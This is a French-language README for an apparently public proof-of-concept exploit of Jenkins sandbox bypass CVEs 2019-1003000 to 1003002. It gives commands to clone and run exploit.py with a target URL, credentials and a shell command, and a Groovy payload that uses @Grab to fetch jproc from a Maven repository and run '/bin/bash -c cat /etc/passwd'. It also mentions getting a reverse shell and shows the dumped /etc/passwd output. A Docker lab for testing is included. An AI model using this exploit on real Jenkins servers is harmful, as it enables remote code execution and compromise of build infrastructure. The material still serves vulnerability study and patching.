
Preuve de concept RCE Jenkins: SECURITY-1266 / CVE-2019-1003000 (Script Security), CVE-2019-1003001 (Pipeline: Groovy), CVE-2019-1003002 (Pipeline: Declarative)
Une preuve de concept permettant aux utilisateurs disposant des autorisations Overall/Read et Job/Configure (et éventuellement Job/Build) de contourner la protection du sandbox et d'exécuter du code arbitraire sur le master Jenkins ou un node.
Mise à jour : Un article d'Orange Tsai expliquant la chaîne d'exploitation utilisant CVE-2018-1000861 et CVE-2019-1003000 qui contourne le besoin de l'autorisation Overall/Read pour une RCE sans authentification : http://blog.orange.tw/2019/02/abusing-meta-programming-for-unauthenticated-rce.html
$ git clone https://github.com/adamyordan/cve-2019-1003000-jenkins-rce-poc.git
$ cd cve-2019-1003000-jenkins-rce-poc
$ pip install -r requirements.txt
Fournissez l'URL cible, le nom du job, les identifiants utilisateur/mot de passe et la commande système à exécuter comme arguments.
$ python exploit.py --url http://jenkins-site.com --job job_name --username your_user --password your_passwd --cmd "cat /etc/passwd"
Extrait de Red Hat Bugzilla - Bug 1667566:
Une faille a été trouvée dans Pipeline: Declarative Plugin avant la version 1.3.4.1, Pipeline: Groovy Plugin avant la version 2.61.1 et Script Security Plugin avant la version 1.50. La protection du sandbox de Script Security pouvait être contournée durant la phase de compilation du script en appliquant des annotations de transformation AST telles que @Grab à des éléments de code source. Les API REST de validation des pipelines ainsi que l'exécution réelle des scripts/pipelines sont concernées. Cela permettait aux utilisateurs disposant de l'autorisation Overall/Read, ou capables de contrôler le contenu des Jenkinsfile ou des bibliothèques partagées pipeline sandboxées dans le SCM, de contourner la protection du sandbox et d'exécuter du code arbitraire sur le master Jenkins ou un node. Toutes les transformations AST connues comme dangereuses dans Groovy sont désormais interdites dans les scripts sandboxés.
Ce PoC utilise un utilisateur disposant des autorisations Overall/Read et Job/Configure pour exécuter un script de build modifié de manière malveillante en mode sandbox, et tente de contourner la limitation du mode sandbox afin d'exécuter des scripts arbitraires (dans ce cas, nous exécuterons une commande système).
À titre de contexte, le script de build pipeline de Jenkins est écrit en Groovy. Ce script de build est compilé et exécuté sur le master Jenkins ou un node, contenant la définition du pipeline, par ex. ce qui doit être fait sur les nœuds esclaves. Jenkins fournit également le script à exécuter en mode sandbox. En mode sandbox, toutes les fonctions dangereuses sont blacklistées, de sorte qu'un utilisateur normal ne peut rien faire de malveillant contre le serveur Jenkins.
Cependant, comme le script de build est écrit en Groovy, nous pouvons utiliser n'importe quelle classe ou fonction des paquets Java (mais en mode sandbox, les fonctions dangereuses intégrées sont blacklistées). Dans ce cas, nous utilisons les annotations de transformation AST @Grab pour amener Jenkins à importer des paquets Java arbitraires depuis un dépôt Maven externe. Dans ce PoC, j'utilise la classe ProcBuilder définie dans org.buildobjects:jproc:2.2.3 afin d'exécuter une commande shell système.
Le payload est défini comme suit :
import org.buildobjects.process.ProcBuilder
@Grab('org.buildobjects:jproc:2.2.3')
class Dummy{ }
print new ProcBuilder("/bin/bash").withArgs("-c","cat /etc/passwd").run().getOutputString()
Le script ci-dessus sera compilé et exécuté sur le master Jenkins ou un node. Une fois le build du job terminé, nous pouvons voir le résultat de la commande shell cat /etc/passwd dans la sortie console du job. De plus, nous pouvons utiliser cette RCE pour obtenir un reverse shell, et littéralement pwn le serveur Jenkins !
Un exemple de Jenkins vulnérable est fourni dans ce dépôt dans le répertoire sample-vuln au format conteneur Docker. Après démarrage, l'image du conteneur aura un site Jenkins hébergé sur le port tcp/8080, avec un utilisateur normal disposant des autorisations Overall/Read + Job/Configure + Job/Build avec les identifiants user1:user1, et un job pipeline avec l'id my-pipeline.
$ cd sample-vuln
$ ./run.sh
$ cd ..
$ python exploit.py --url http://localhost:8080 --job my-pipeline --username user1 --password user1 --cmd "cat /etc/passwd"
[+] connecting to jenkins...
[+] crafting payload...
[+] modifying job with payload...
[+] putting job build to queue...
[+] waiting for job to build...
[+] restoring job...
[+] fetching output...
[+] OUTPUT:
Started by user User 1
Running in Durability level: MAX_SURVIVABILITY
[Pipeline] echo
root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
operator:x:11:0:operator:/root:/bin/sh
man:x:13:15:man:/usr/man:/sbin/nologin
postmaster:x:14:12:postmaster:/var/spool/mail:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin
squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin
xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
postgres:x:70:70::/var/lib/postgresql:/bin/sh
cyrus:x:85:12::/usr/cyrus:/sbin/nologin
vpopmail:x:89:89::/var/vpopmail:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
jenkins:x:1000:1000:Linux User,,,:/var/jenkins_home:/bin/bash
[Pipeline] End of Pipeline
Finished: SUCCESS